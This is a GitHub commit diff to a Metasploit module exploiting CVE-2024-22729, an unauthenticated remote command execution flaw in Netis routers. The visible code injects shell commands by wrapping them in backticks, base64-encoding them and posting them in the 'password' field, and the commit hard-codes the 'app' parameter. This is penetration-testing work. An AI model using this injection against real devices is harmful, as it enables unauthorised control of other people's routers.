Skip to content

Commit 0e3471d

Browse files
committed
Final draft
1 parent 55fa949 commit 0e3471d

File tree

1 file changed

+1
-2
lines changed

1 file changed

+1
-2
lines changed

modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -77,7 +77,6 @@ def execute_command(cmd, _opts = {})
7777

7878
# skip last command to remove payload because it does not work
7979
unless cmd.include?('rm -f')
80-
app_random = Rex::Text.rand_text_alphanumeric(4..8)
8180
payload = Base64.strict_encode64("`#{cmd}`")
8281
print_status("Executing #{cmd}")
8382
send_request_cgi({
@@ -86,7 +85,7 @@ def execute_command(cmd, _opts = {})
8685
'vars_post' => {
8786
'password' => payload,
8887
'quick_set' => 'ap',
89-
'app' => app_random
88+
'app' => 'wan_set_shortcut'
9089
}
9190
})
9291
end

0 commit comments

Comments
 (0)